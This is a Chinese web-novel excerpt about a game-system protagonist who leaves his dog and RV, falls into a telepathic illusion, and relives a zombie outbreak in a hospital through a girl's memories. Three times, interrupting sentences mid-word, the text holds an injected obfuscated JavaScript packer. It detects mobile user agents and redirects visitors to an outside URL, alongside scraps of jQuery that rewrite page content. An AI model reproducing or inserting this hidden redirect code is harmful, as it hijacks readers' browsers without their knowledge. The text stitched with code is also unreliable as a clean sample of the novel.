副驾驶室里，乔佑抱着狗子，笔记本放在膝盖上，捏着笔勾勾画画。 急用的物资基本上都有了，但很多长期使用的消耗性物资是不嫌多的，还得继续找。 怎么修房车乔佑还没有主意，昨晚看的书太理论了，学校图书馆有讲汽车知识的书已经是很惊讶的意外之喜了，没有实践的书乔佑也不太失望。他打算找找汽修店，一方面寻找工具和书籍，一方面看别的车，不知道会不会有灵感。 房车使用的油是柴油，气温不同，使用的柴油标号也不一样，都需要存着，前几天一直没找到加油站，上一个存档的柴油是作为任务奖励获得的，氪金礼包里也有，乔佑没关注过加油站的位置，得再费心思找找。 乔佑将接下来的计划分出条理清晰的一二三条，接着滑动操作面板上的未完成任务。 各种boss任务拉下来一长串，都不是非做不可的，乔佑认为这更像是危险地点标记，告诉他，boss地点附近最好别去。 除了【寂静之地】，任务名字像什么恐怖片名，任务描述语焉不详，比较特殊。 但任务类型是探索任务，说明难度较低，没有boss任务那么难。 最让乔佑心动的是，任务奖励有一个雾系属性点，不知道破障是个什么能力，上一个存档既没有这个任务，也没有关于破障的属性点。 以现在系统如此吝啬的尿性，下一次发属性点奖励还不知道什么时候，这次最好别放过。 乔佑没有犹豫多久，拍板了，要去。去看看这个寂静之地到底怎么回事。 一人一狗早上吃的一样的东西，变异鸡鸡翅切了一块下来，放在锅里用水煮，知道边牧不能吃的太咸，乔佑只搁了一点点盐，没放别的调料。 半个小时之后，乔佑将煮好的鸡肉切成小块，和维希分了。 简单的做法比起前几次的瞎搞，效果似乎好上一些，就是咬起来很磕牙，好像没熟。 看维希好像不嫌弃的样子，乔佑一边想着异能者身体素质好，一边强迫自己吞下去。 “维希，我有事出去一躺，你乖乖待在家里。”乔佑给维希倒上中午和晚上吃的狗粮，又倒了一些水。 他外出后没人给狗子做食物，虽然系统卖的贵，乔佑还是手快地买了一袋狗粮。 维希还太小了，没有自保能力，乔佑虽然不放心维希一只狗在房车上，也不能带着他一起外出。 至少没有他这个房车主人的允许，没有人可以打开房车，边牧想从内部打开也不行，维希是很安全的，要是跟他一起出去就不一定了。 好在维希也很习惯这样的生活，以前在杂物间的时候，就是大边牧母亲出去找食物，他等在杂物间里，和现在是一样的。 不知道维希听懂没有，乔佑忧心忡忡地摸了摸它的脑袋，将房车里可能在狗子拆家时伤到狗的小零件都丢进空间里。 维希蹭了蹭乔佑的裤腿，目送他离开。 系统已经明示了任务地点位置遥远，乔佑仍然是骑单车离开广场。 选这个交通工具的主要原因是他不会开别的，他的现实世界里这些手动操作的交通工具早就淘汰了，在天网上学的知识里自然也不包含几百年前的古早交通工具使用方式，上一个存档里房车的行驶也可以由系统接手，于是现在就只能操作单车这种最简单的交通工具。 回忆着系统描述的路线，乔佑渐渐驶离了他往日里的活动范围，路上丧尸也渐渐多了起来。 乔佑谨慎地将单车收了起来，选择步行前往。 这个路线是乔佑甄选过的，路上只经过两个危险区域，一个是boss任务【将人焚烧成恶魔】，是一只高阶火系异能丧尸的地盘，它的火和火系异能者人类的火不一样，颜色呈现出丧尸血一样的黑色，充满了不详。 事实上，这个火系丧尸确实可以通过火焰传染丧尸病毒，因此任务名称才是“将人类焚烧成恶魔”，在系统语言里，“行走人间的恶魔”就是用来指代丧尸的。 就这个让人绝望的特性，丧尸爆发后这个丧尸不知道是多少人类的噩梦。 另一个危险区域则是【与大樟树结成友谊】的任务地点，一棵栽在路旁的行道树香樟，变异后占据前后两条街，已经取代曾经最高的商务大楼成为樟城的新标志了，乔佑在房车都能看见大樟树的影子。 不要被这个看似友好的任务名称误导了，香樟木有轻微的毒性，末世前就经常用樟脑和樟油灭蚊驱虫，人体长期接触可能造成头晕、呕吐、失眠等症状，异变后毒性更加剧烈，并且可控，当然，是受大樟树本身控制。 这棵香樟的树龄本就不大，异变后曾经一起站路两边的同类都变得很小，还有一些被它吸收了，感到寂寞后，一些恶劣性格就暴露了出来。 他控制着自身香气的毒性，吸引各种动物到身边，然后让它们兴奋躁动，做出很多不理智的事情，一直激动地直到累死也不会停。 上一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13632357|143615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个存档，乔佑对任务并没有必须刷完的心理，一般都是碰到就做一做。 而这棵大樟树占地面积太大，挡住他走路了，于是一人一树就打了起来。 将大樟树打服之后，他确实得到了这个熊孩子的友谊，然后意识到这个变异植物是另类的任务型npc，会给他发任务，然后给他奖励，但说话语气极度傲慢恶劣，乔佑很快就受不了了。 这次去往寂静之地，乔佑谨慎得多，两边都不想惹，雾系异能开到最大，只要不是被两位大佬直接盯住，他远远从旁边走过，也顺利过去了。 任务地点是一个繁华地段的小区，越走近越符合任务名称中的“寂静”两字，视线里看不见一只丧尸，不知道是不是躲在了建筑物里。 地上躺着一些动物尸体，乔佑用三菱刀将一只三花猫尸体翻了个面，尸体已经死了很久，全身坚硬，没有一丝热气，但是看不出有什么伤口，不知道是怎么死的。 又依样看了几只别的，都是一样的表现，乔佑一头雾水，却越发警惕了起来。 三菱刀被他紧紧握在手上，雾气也没有保留地外放，渐渐接近了小区大门。 这时候地上的尸体倒是完全看不见了，从敞开的大门走进去，路面干干净净。 临时停车位上有几辆白色小车，乔佑多看了两眼其中一辆越野，总觉得有点眼熟，好像下一秒就会有谁拎着稀奇古怪的礼物出来。 绿化带上的花草灌木仍然很整齐，像是经常有人修剪打理，洁白的槐花在阳光下闪着细碎的光晕，在地上投出斑驳的影子。 地势向下，一个占地面积不小的湖泊出现在道路尽头，围湖建着几栋别墅，树木与建筑掩映间，隐约能看见有个绿裙子女人靠在湖边洗头发。 没有丧尸，没有不正常的动物，植物也没有肆意生长，如果不是寂静的不正常，末世之前大概也就这个样子了吧。 乔佑正这么想着，就听见几声若有若无的蝉鸣，室外的风都是热的，有一种热气蒸腾的声音，让人昏昏欲睡。 夏天的太阳有些晒人，他转到树荫底下，继续慢吞吞朝前走。 一道喇叭声音从后面传来，乔佑回头，轮胎碾过路面，白色布加迪suv降慢车速，直到停在乔佑身边。 挡风玻璃滑下来，露出驾驶室里二十六七的年轻男人，偏着头笑吟吟地看着他：“怎么走这么慢，什么事情惹我们唐以小公主不高兴了？” 有什么原本不属于他的东西从乔佑的思绪里苏醒了，他晃了晃脑袋，仔细打量了一下年轻男人的脸，不确定地慢吞吞说：“小舅舅？” 出口是一道含混不清的少女声音。 11. 精神幻境 外面烈日炎炎，乔佑坐进车里，空调风一吹，顿时长舒一口气，一边系安全带一边问道：“你不是在威尼斯出差吗，这么快就回来啦？” 刘珀打了一圈方向盘，suv徐徐向前：“你舅妈明天孕检，我不得陪一下？工作嘛，丢给谁不行。” “乔佑”哼笑一声，“装什么殷勤呢，以前我杜姐孕检的时候你跟过几次啊？” 唐以这个小舅舅比她大不了几岁，自从她母亲刘琬去世后，唐以就住进了外公外婆家，虽然跟她小舅刘珀是两辈人，却不怎么服气，日常没大没小，各叫各的。 刘珀摇了摇头：“前天樟城下了场大暴雨，那之后你舅妈就不太好，可能是生病了，做孕检的时候顺便看看。” “我就在樟城，杜姐姐怎么没跟我说？” “唐以，你是不是完全忘了自己还是个学生？”刘珀横了她一眼：“今天周四，你不在学校上课，出来瞎跑。” 乔佑心情平静，脸上却是难过烦躁的表情，口中说道：“就是那场大暴雨之后，樟城很多人都发烧生病了，这件事都上热搜了，你是不是忙得没时间看？小芊昨天就住院了，打电话也不接，我明天要去医院看她，你带杜姐做孕检，一起吧。” ……小芊是谁？ 布加迪缓缓驶入别墅的地下停车场，别墅前就是波光粼粼的碧汀湖，乔佑余光好像看见一个绿衣服的女人，偏头去看，发现是一棵老槐树。 这棵槐树从他出生的时候就在了，根系扎在湖畔，细长的身躯斜斜生长，枝条垂入湖中。 之前还不明显，这几年越来越向湖中倒去，枝干的弧度也更加自然圆润，远远望去，真像一个长发女人对镜自照，微风吹过树叶沙沙，又像不紧不慢在洗头发。 乔佑看了一眼就收回目光，小时候还抱着这棵树爬上爬下，怎么今天感觉有点陌生？ . 医院里人群熙熙攘攘，脚步匆匆的医生护士好像累到麻木了，乔佑几次想问问感染科怎么走，愣是没拦到人。 杜羡仪看她跟无头苍蝇一样，也有点无语：“你别在医院里迷路了，我们跟你一起去。” 她抱着七个月大的肚子，挽着刘珀的手臂，一边看墙上的路标一边走得飞快，乔佑觉得她来过几次，肯定比自己熟悉，于是左顾右盼地跟上了。 下大暴雨的时候杜羡仪正躺在阳台躺椅上睡午觉，没盖被子，应该只是着凉了，今天起床时其实已经好了很多，倒没有别的那些严重的症状。 对于这场突如其来的流感，网络上的说法众说纷纭，患病的人先是高热、疲乏，以至于昏厥，病因未明，这个过程持续短短数个小时，病人就彻底失去意识。后续病情会怎么发展，要怎么治疗，则没有人说的清楚。 患病的人太多，每天源源不断有新病人送进来，还有一些人走在路上就莫名其妙倒下去，送进医院后一时半会联系不到家属，医院里就更乱了。 走廊上人群挤挤挨挨，跟菜市场一样，乔佑兜里的手机震动了一下，他点开看，是班长拉了个小群，约着趁周末来看望一下几个生病的同学。 他手指都移到键盘上了，按理说以“她”的性格，总要回复点什么才合理。 乔佑却皱了皱眉，有点茫然。 “让一让！麻烦让一让！”后面传来滑轮滚过地面的声音，刘珀护着杜羡仪靠向墙边。 乔佑也回头望去，两个护士一前一后推着一张床跑过来，床上的人被约束带牢牢绑着，只见他一张脸涨得青紫，因呼吸不畅而大大张开嘴巴，额头上青筋鼓动，四肢痉挛扭曲，怎么看都不正常。 似乎注意到乔佑的视线，布满血丝的双眼猛地盯住他。 这张床从乔佑面前推过，那道让人不适的眼神也消失了。 “家属不要进来这么多，看一会儿就走啊，忙着呢。” 乔佑不知道什么时候跟着走进了病房，一个护士正在给言小芊换输液瓶，看见又进来三个人，当即满脸不耐地皱眉呵斥。 言小芊是唐以初中结识的闺蜜，父母都忙，只能晚上过来陪护一下，现在床边空无一人，躺在床上的少女双眼紧闭，脸色微青，状态实在说不上好。 乔佑忧心忡忡地试了试言小芊的额温，不像传闻中那样发热，反倒冰凉干燥，他怀疑是不是空调温度太低了。 刘珀看那护士利落的换药动作，好奇道：“输的什么药？这个病现在能治好吗？” 护士冷冷道：“镇静的，不能。” 乔佑感觉到这个护士呼之欲出的强烈怨气了，他印象中的护士都是很温柔和善的，看他就像看什么易碎的玻璃制品。 嗯？为什么会有这样的印象？ 隔壁床的陪护闻言不满地唠叨：“你这护士态度能不能好点，不会说话可以不说，医生都没说不能治，你瞎说一通倒是开心了，能不能照顾照顾我们心情？感情生病的不是你是吧……” 护士像是刚入职没多久，还没有多少应对家属的经验，紧紧皱着眉睨他，像是有很多话想说，最终只是狠狠翻了个白眼，收拾了治疗盘要走。 “等等！”乔佑瞥了一眼护士的胸牌，叫住她道：“齐护士……齐姐姐，我想问个问题。” 护士叫齐兰兰，乔佑才看见胸牌上写还在实习期，可能才刚大学毕业，被一个才十几岁又长得漂亮的“妹妹”叫姐姐，脾气显得好了一点，“什么问题，你问。” 乔佑脑子里闪过很多模模糊糊的画面，炸的他脑袋疼，他按了一下太阳穴的位置，微微笑道：“言小芊的输液速度，医生开的这么慢吗？照这么滴，可能一天也输不完一瓶。” 杜羡仪也盯了一眼一直没动静的莫非氏滴管，当即道：“小唐，你说话什么时候这么委婉了？这明显是小护士技术不熟练，液体堵住了。” 齐兰兰正要解释，一阵喧哗陡然传来，听着就在病房外不远。 “咬人了！有病人在咬人！快拦住！” “啊啊啊啊啊！！！” “疯了！都是疯子！” “谁把狂犬病混进来了？！” …… 病房内众人面面相觑，唯一的护士齐兰兰不得不靠近病房门，从门上的玻璃往外看。 “砰！”一个人形物体摔在门上，软软掉下去，鲜血喷溅，糊了半个玻璃窗。 “……”这下所有人都知道事情大了。 “外面发生了什么？”有人忍不住出声道。 齐兰兰脸色苍白，没有回答，有胆子大的人想开门，她这才道：“不行，别出去！” 刘珀一向相信自己的直觉，一种不妙的危机感不断向他发出预警。他当即搬来了床头柜堵住门。 刚安放好，一个穿着病号服的人就扑到了门上，他一只手臂僵硬似乎折断了，身体在轻微地颤动。 杜羡仪有点不安地抱着肚子，直到外面那人好像蹲了下去，从玻璃窗看不见了，才松了口气。 一个家属好奇地凑近了点，“外面那个好像不太好，万一是在求救呢，要不要开门放进来看看？” 话音刚落，粘腻的咀嚼声从外面传进来。 众人都想起了之前还有一个人砸在外面，明白外面那人在咀嚼什么，不由感到毛骨悚然。 一个小姑娘捂住嘴，“外面这是在干嘛啊……吃人？！疯了吗？” 齐兰兰左右看了看，从病人床头柜找到杯水泼到玻璃窗上，又撕下几张病例单糊上去。 这才拍拍胸口，平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13632358|143615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缓了急促的呼吸，回头见病房里的人都在看着她动作，压低声音道：“外面有人在……嗯，就是你们听到的那样，但是，那个，那个咬人的怪物，昨晚就死了，我看着他抢救失败送出去的……” 还是有人将信将疑，“又不是拍恐怖片，哪有人死了还能活过来的？” 这话说的小声，因为一直有惨叫声从外面传进来，纸张一糊看不见外面的情况，给病房内的人留足了想象空间。 刘珀安慰地握了握杜羡仪的手，打量着时不时颤动的病房门，那是外面的“怪物”靠在门上发出的动静，这只是木制门，而且病房的门都不带锁，等怪物吃完外面那位，可能就轮到病房内的人了。 也有其他人意识到了这个大问题，搬了椅子过来要堵门，路过乔佑的时候支出来的椅子腿绊了一下，刘珀急忙将“唐以”扶住，这才注意到外甥女好像有点不对劲。 乔佑脸色苍白，双眼无神，冷汗淋漓。 他正在和脑海里的另一道精神力争夺身体的控制权。 他的记忆、他的思维、他的存在，原本模糊的东西随着这个简陋的幻境暴露出的破绽越来越多，都在渐渐苏醒。 唐以的十七年记忆却比乔佑的二十一年丰富多彩多了，充盈在乔佑精神力中，试图完全覆盖，将他彻底变成另一个人。 如果这次幻境过后，乔佑活着出来了，但是脑海里却只剩另一个人的记忆，那么他算不算活着呢？ 还是一个“借尸还魂”的……精神系异能者？ 就算乔佑所在的世界，人类已经发现了精神力的存在，并且依托于精神力对基因进行顺向改造，从而激发出了各种异能，但是对精神力的研究依旧是冰山一角。 没想到在这里能遇到一个对精神力运用这么熟练的异能者，可以构建幻境，并且趁着他困在幻境中出不来的时候悄无声息地同化。 不知不觉换掉一个人，这是一件很可怕的事情。 有一个瞬间乔佑有点怀疑游戏系统是不是要坑他。 据说，从未出现过的精神系异能者其实是“全系异能者”，因为基因会在精神力运用过程中顺着异能者的所思所想，潜移默化地进化。 世界上的异能千千万万五花八门，精神系异能者只要活得够久，几乎可以为所欲为，这也是研究者们致力于追求的方向。 在一瞬间的惊讶后，乔佑已经反应过来，精神系异能太犯规，他是绝对扛不过去的，唐以的异能只是幻境，顶多精神力比常人更深厚更灵活而已。 万幸的是，唐以的精神力距离乔佑还有很长一段距离，这段距离不是精神力上的灵活运用就能够到的，所谓一力破万法，某个隐在暗中的异能者这算是一脚踢到铁板了。 乔佑没有测过自己的精神力，新人类纪元，精神力和基因联系太紧密，在精神力上搞出任何动静，都可能撬动乔佑本就不稳固的基因序列。 但人们都有一种共识，基因崩解症患者要么是精神力强悍的天才，要么是使用过度不得不退役的边境军人。 而乔佑刚出生就面临着基因崩解，正因为这样，才越发使人心痛惋惜。 直到某一个时刻，两股争执的精神力都暂停了。 如果唐以继续，她的精神力一定会遭受永久性的损伤，从此成为没有神智的傻子。 同样，如果乔佑接着放开精神力，当身体承受不住，同样会溃败——也就是新人类纪元的癌，基因崩解症，将再次与他如影随形，这个世界可没有什么舒缓病情的特效药。 两边同时偃旗息鼓，乔佑睁开眼，入目仍然是医院病房。 刘珀正担心地看着他，他知道这是虚假的幻境，态度便有些冷淡，垂眸虚弱道：“我没事。” 12. 末世初期 言小芊住的是公立医院，这个医院曾经在国外挖了一个著名的妇科圣手坐镇，所以杜羡仪夫妻也没有选择更方便的私立医院，每次都是来这边做孕检。 一个普通病房三张床，因为最近新病人太多，还多加了一张，四个病人全是大暴雨之后染上的怪病，言小芊的床位则靠近门和走廊。 病人、陪护、一个护士，十几个人待在并不宽敞的病房里，空调风呼呼吹着，仍让人感到燥热不安。 病房内的广播突然传出嘈杂的电流声，众人惊的循声望去，一个安抚的声音传出来，断断续续听不清晰，大意是让病人和家属们保持镇静，不要在走廊逗留，疑似有人突发狂犬病，造成了一些骚乱，已经联系了消防队云云，又让在岗的医护人员先稳定大家情绪，等后续安排。 广播声音挂的很急促，自然也没人知道，那个先还压着声线假装镇定的医生被一只怪物从后面咬住脖颈，他惨叫一声，胡乱挣脱开，斜方肌顺着肌肉纹理掉下来半截，鲜血淋漓染了半边肩膀和后背。 完全失去了对抗的勇气，医生捂着伤口，跌跌撞撞连滚带爬地打开一个病房门，抬头看见一群迷茫惊吓的病人和家属。 . 广播声结束，大家都听见了那句“在岗的医护人员请先稳定大家情绪”，在这种时候，唯一穿着白色护士服的齐兰兰好像确实是唯一的主心骨，哪怕她看起来也非常混乱的样子。 有人问道：“这真是狂犬病？” 齐兰兰摇了摇头，指了一个躺床上的病人，“你看他像是狂犬病的样子吗？” “你……你什么意思，你说那个怪物和我爸有一样的病？”旁边的人惊恐地说道，瞬间远离病床三米远，然而目光一扫，四张病床等距分布，整整齐齐躺着四个怪物预备役，顿时绝望。 “就一个怪物把你们吓成这样，我们这么多人还制服不了？这病还能把人变成超人不成？”一个中年男人粗线条地说道，四处寻找着趁手的武器，看着是要出去大干一场。 病房里一片混乱，乔佑大概明白，虽然这是幻境，也是唐以的真实记忆。 这是丧尸初次进入人类的视野，造成了大范围伤亡，但很快就被热武器暴力镇压。 此时的丧尸还比较弱，人类也没有异能，普通人面对丧尸的时候两者算是处于同样的赛道，丧尸除了长得恐怖一点，也并不比人类强多少，身体素质强一些的人就能解决。 就连传播速度也没有那么强，被丧尸咬过的人离变成丧尸大约有48小时的潜伏期，被咬死后也不会立刻变成丧尸，这导致丧尸抓住一个人开始咬之后并不会停下，给人们造成一种丧尸是为了进食的错觉。 但是，同样是这样一个进化不完美的特性，导致了更惨重的后果。 这时候的怪物们可不叫丧尸，事情暂时解决后，被咬伤的人送医，死去了但还有尸骨的人停殡仪馆。 樟城的医疗机构消化不了这么多新病人，于是流向了别的城市，因为不确定这种病的特性，很谨慎地严密隔离。 于是不久之后，丧尸再次陆陆续续出现了，每次都造成大动乱，但这次军警自顾不暇。 因为在医院中被丧尸咬过的士兵也变成了怪物。 这么详细的信息当然不是乔佑收集的，他没有必要知道末世初期是什么样的。 这是唐以泄露给他的记忆，但个体的命运仍然未知，他不知道病房内的这些人以及唐以的亲人们是否还活着，是不是成为了新闻报道中“重大伤亡”的其中一个。 乔佑感到了一种鲜明的恶意——既然吞噬不了你的精神力，那你就死在幻境里吧。 乔佑对这种毫无缘由的恶意很陌生，像是一个遭受过苦难的人也试图毁灭别人，像猫戏老鼠一样居高临下地观察他，看他能撑多久。 但他身在瓮中，也只能走一步看一步。 乔佑看了看病床上的言小芊，忽然问道：“有约束带吗？可以先把他们绑起来。” 乔佑知道这些病人是注定要变成丧尸的，但病房里这么多人都不知道，他总不能直接将人杀了，也并不愿意。 齐兰兰回过神，脸色很难看：“没有，科室里平时没备太多约束带，这两天都用上了，优先给病情严重的。” “这么说，”刘珀道：“外面的怪物恐怕不止一个吧。” 就一只怪物也闹不出这么大的动静。 门外的动静越来越大，齐兰兰放低声音：“这个奇怪的病是一种以前没见过的病毒引起的，还没命名，最开始我们以为只是一场急雨后的流行病，患者出现高热，疲乏，严重的可能浅昏迷，这是第一个阶段，他们还有一点意识。” “然后给病人查血，可能是病毒导致的，血液流速很缓慢，氧含量也很低，动脉血的颜色从鲜红到青黑，这是第二个阶段，这个病房里的病人都是。”齐兰兰看一眼乔佑：“你不是问我为什么滴速慢吗，这就是原因，血液流速慢到滴不进去，现在没有针对性的药，可能起作用的只有注射药，但也没什么效果，点滴瓶就是做个样子。” 人体微环境是一个无比敏感的系统，要她说，血液性状都变了，人竟然还活着，简直是医学奇迹。 “第三个阶段，病人窒息，肌肉痉挛，像疯了一样，几个人都压不住，最多持续半个小时，人就没了。” 杜羡仪“啊”了一声：“刚才路过我们的那个床，就是了吧？” 隔壁几个床的家属都不敢置信，情绪激动起来，声音也变大：不就是个流行病吗，怎么扯到马上要死了？ 齐兰兰小声嘀咕：“不止呢，死了也不消停，你们这些没亲眼看见当然不怕了，跟丧尸一样。” “嘭！嘭嘭嘭！！” 近在咫尺的撞门声响起，病房内的喧闹滞住了。 或许是病房内动静大了，门口的丧尸终于注意到里面的声音，开始疯狂砸门，口中发出意义不明的啊啊啊嘶吼声。 那怪物像完全没有痛觉，门被砸得不断颤动，好在他始终没有试图压下门把手直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13632359|143615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接开门。 怪物没有智力，这是唯一的好消息，众人把床头柜陪护床等等都拖到门边堵着，看着总算坚固了一些。 先前叫嚣着要冲出去的中年男人早就被几个稳重的家属劝住了，有人已经打了报警电话，现在能做的就是惴惴不安地等待。 “小舅，你觉得这门会被撞开吗？”乔佑看着稳固如山的障碍物，眉尖微蹙。 “除非那怪物的力量一下子变大，或者多来几只，不然……不可能。”刘珀伸手揉他的脑袋：“吓住了？我还没见过你这么严肃的表情，等回去了让家里阿姨做点好的，我们家小唐以都不会笑了。” 乔佑根本不在乎有没有ooc，偏头躲了一下，还是觉得有点不安。 随着时间过去，唐以的经历他模模糊糊察觉到一些，当时恐怕没有这么安稳。 是这个门被破开了，还是有人耐不住主动开门出去了？或者别的什么？ “这四个病人终归是个隐患，不知道什么时候就第三阶段了。”说着，乔佑打开一个柜子，找到了新的床单，几下撕开编成绳子。 没有约束带，用其他东西代替也行。 其他人也意识到这一点，都纷纷来帮忙，但是到绑人的时候又迟疑了，毕竟都是亲人，因为昏迷而毫无反应任由摆布，心里怎么都不好受。 乔佑绑言小芊的时候倒非常麻利，对唐以的好闺蜜没有任何心理负担，又熟练又快，刘珀都来不及帮忙，看她的目光非常难以言喻。 杜羡仪七月孕身站不住，坐在言小芊床沿，看别的三个床磨磨蹭蹭状况百出，还有人因此吵起来的，远没有自家外甥女这么冷静，忍不住急道：“被绑一下又不会少块肉，要是他们也变成外面那种怪物，我们怎么办？” 一人附和道：“这妹子说的对，就算没变成怪物，到那第三个阶段了我们也按不住啊，快绑起来吧。” 乔佑蹲在地上将最后的左手绑上绳子，拉下来和床栏缠在一起，抬头时却对视上了一双无神的双眼。 “唐……唐以……”言小芊像是被谁掐住了脖子，脸涨得青紫，青筋爬满额头和脖颈，看起来可怖非常，仿佛在忍受莫大的痛苦，双手徒劳地抓挠。 原本坐在地上情绪低落的齐兰兰听到声音瞬间一跳而起，“快按住！” 然而她趴到床边一看，乔佑绑的绳子结实无比，言小芊根本动不了，完全用不着按。 那个和言小芊同龄的小姑娘脸上没有什么难过悲伤的表情，反倒像是在走神。 乔佑回忆起了人类感染丧尸病毒后的表现，他遇见过，但是他对人类npc并没有什么善心，也没有给解毒剂。 那个人类被丧尸咬伤后撑了大概十七个小时，先后经历了高热、昏迷，以及最后的疯狂挣动。 到了最后阶段，其实已经没有神智了，言小芊叫的那声“唐以”，应该就是最后的属于人的声音了吧？ 当初的唐以也是这样亲眼目睹最好的朋友死去，然后变成丧尸的吗？ 13. 感染 那一段陌生的记忆中，也是病房外鸡飞狗跳，丧尸砰砰砰砸门，大家把能搬的都搬来堵门。 还没有人反应过来床上的四个病人该怎么办，护士齐兰兰在解释外面的怪物是怎么出现的。 唐以活这么大从来没经历过这样的事，握着言小芊的手焦急万分：“她脸怎么越来越青了？摸着好冰，就两天不见，变成了这样？？” 刘珀听了齐兰兰说的一二三阶段，脸色很凝重，皱眉道：“唐以，你离她远一点。” 唐以很倔强，情绪也濒临崩溃：“小芊就是生病了，她不是怪物，你说话别这么难听！” 好心的提醒被人这么误解，刘珀忍耐道：“你几岁了，跟你说了多少次，遇事冷静。” “冷静？”唐以冷笑一声，狠狠瞪视他：“说的好听，出事的又不是你朋友，你当然能冷静，要是躺床上的是杜羡仪，你还能在这里说风凉话吗？” 唐以父亲孕期出轨，母亲产后抑郁自杀，出生没几个月就被接到外公外婆家里，早就被惯坏了，平时还好，要是有什么不高兴的，叛逆得能把屋顶掀翻。 刘珀早就清楚唐以的性子，此时还是被气到了，指了指她，不管了。 此时已经有人提议把病人找个东西捆起来，免得也变成了外面那样吃人的怪物，腹背受敌。 但按照齐兰兰的说法，现在才第二阶段，已有的例子是死去一段时间后才变成怪物，现在还早得很。 于是约定好了各自要看好自家的病人。 唐以根本没注意别人在说什么，突然看见言小芊睁开了眼，眼睛一亮：“小芊，你醒了？好点没有？” “唐……唐以……”言小芊艰难地呢喃道。 唐以握紧言小芊的手，连声道：“我在我在，你哪里不舒服啊？” 齐兰兰大惊失色：“把她按住！” 唐以回头：“什么？” 言小芊一把挣脱开她的手，力气奇大，她脊柱歪成一个扭曲的弧度，脸色涨的青紫，呼吸不畅地顿了几秒后，猛然惨叫出声。 杜羡仪惊呼道：“快多来几个人，一两个人肯定按不住，嘴也堵上别把更多怪物引来了。” 唐以护住言小芊，扭头看他们，表情很怪异：“你们……” “你们没有看见她难受吗？你们凭什么要按住她，治不好人还有脸束缚病人？” 一个上了年纪的女家属看她眼带泪花，也有点不忍：“这也是为了大家好嘛，闺女，你就让让。” 少女咬着唇道：“发病的不是你们，也不是你们在意的人，当然可以站旁边当理中客了！滚！你们不管小芊，我来管！” 她不管不顾：“要是你们过来，我就大喊大叫，把外面所有怪物都叫过来，大家一起死好了！” 见劝她不住，又是别人家的家事，强迫一个小姑娘看着也不像个样子，齐兰兰率先摆烂地妥协道：“行行行，那你让她小点声。” 唐以抱着言小芊，胡乱安慰道：“小芊，芊芊，好好呼吸，你，你怎么才能好受点？你跟我说？” 言小芊口中突然发出啊啊啊的叫声，嘶哑的声音就在唐以耳边，听着就像外面拍门那只怪物，唐以猛的退开一些，眼中惊疑不定，还克制不住有些惊惧。 言小芊平时说话细声细气，温柔腼腆，连笑都不会大声。 现在这是个……什么？ 唐以觉得自己不该这么想自己的好朋友，但她的脚很诚实地向后挪，直到言小芊张大嘴向她扑过来，她惊吓之下转身就跑。 便露出了身后的杜羡仪。 杜羡仪因为腰酸，正在一边跟刘珀抱怨外甥女不懂事，一边按腰，猝不及防被言小芊咬了手。 局面彻底失了控。 . 后面的记忆一片混乱，大概唐以本人也不愿回忆，总之言小芊那时已经是丧尸，被言小芊咬的杜羡仪是什么结果他不看也知道。 说回现在，言小芊被绑住了不用担心，乔佑主动把她嘴也塞住，又去别的床检查了一下，绑的不牢靠的都拆了重新绑一遭。 刘珀啧啧称奇：“小以，你什么时候学了这么熟练的技术？” 乔佑正在拆另一张床单，打算缠几根绳子备用，闻言诚实道：“爱好而已，没事随便学学。” 拍门声不知道什么时候已经停了，可能那只丧尸被别的东西吸引了注意，不再死磕这个砸不开的门。 现在他们能做的就是等待，焦虑地拿出手机刷消息，三三两两地小声交谈。 “我姑姑上班那个医院，还有我认识的几个诊所，一中的校医院，也发生了这样的事情。”有一人挂断电话，脸色沉重道。 “怎么校医院也有啊？我女儿是一中老师，现在可能还在上课呢，校医院医不好的不应该转到大医院去吗？” “你看现在哪个医院还能再接？都是满的，肯定都拖着先在校医院放放。” “快看热搜，刚才还有人刷是不是丧尸爆发呢，现在就没声了，樟城大暴雨的热搜也被撤了。” “捂嘴倒是快。” “这是好事啊，说明医院的动乱被注意到了，救援肯定就在路上。” …… 乔佑将绳子缠在手腕上，低着头闭目养神。 旁边的齐兰兰正在絮絮叨叨，声音很低，但架不住乔佑听力太好：“我可是上了一晚上夜班没休息啊！现在几点了，十一点了！还在加班还在加班，还要应付这见鬼的怪物，一不小心命都没了，我要回家，我要回家，我要回家，我要回家，我，要，回，家……” 乔佑忍受了一会儿魔音贯耳，想求这位姐省点口水吧，还不知道要在这间病房里躲多久呢。 想想还是算了，正惊魂未定，絮絮叨叨一阵平复心情也很正常。 况且这就是个幻境，虽然真实了一点，但和全息游戏也是差不多的性质，都是假的。 这一幕应该快要过去了，但他不可能这么容易就被放出幻境，接下来会怎么发展呢？ . 如果是在游戏里，能在丧尸爆发的时候从医院全身而退，简直可以拿到一个成就了。 